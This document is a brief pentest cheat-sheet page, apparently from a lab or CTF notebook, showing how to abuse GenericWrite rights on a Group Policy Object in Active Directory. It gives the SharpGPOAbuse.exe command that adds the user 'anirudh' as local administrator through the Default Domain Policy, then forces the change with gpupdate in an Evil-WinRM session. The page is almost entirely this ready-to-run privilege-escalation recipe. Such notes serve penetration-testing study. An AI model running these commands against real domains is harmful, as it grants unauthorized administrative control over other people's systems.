# GenericWrite GPO

If we have GenericWrite to a GPO.&#x20;

{% embed url="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FlZur7K7xtsvD24g4uC0i%2Fuploads%2FEVg9KZ26uucgGEy5svcE%2F2022-07-21_16-54.png?alt=media&token=1c1dffc6-8506-4059-9d04-e3f55482c01c" %}

We can exploit this by using the SharpGPOAbuse.exe&#x20;

```
 ./SharpGPOAbuse.exe --AddLocalAdmin --UserAccount anirudh --GPOName "Default Domain Policy"
```

Them we force the update.&#x20;

```
*Evil-WinRM* PS C:\Users\anirudh\Desktop> gpupdate /force
```

{% embed url="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FlZur7K7xtsvD24g4uC0i%2Fuploads%2FieaEwzgylV6bUw55o0Kc%2F2022-07-21_17-07.png?alt=media&token=6a7c6548-e808-460c-928a-e1380c1ad0ae" %}
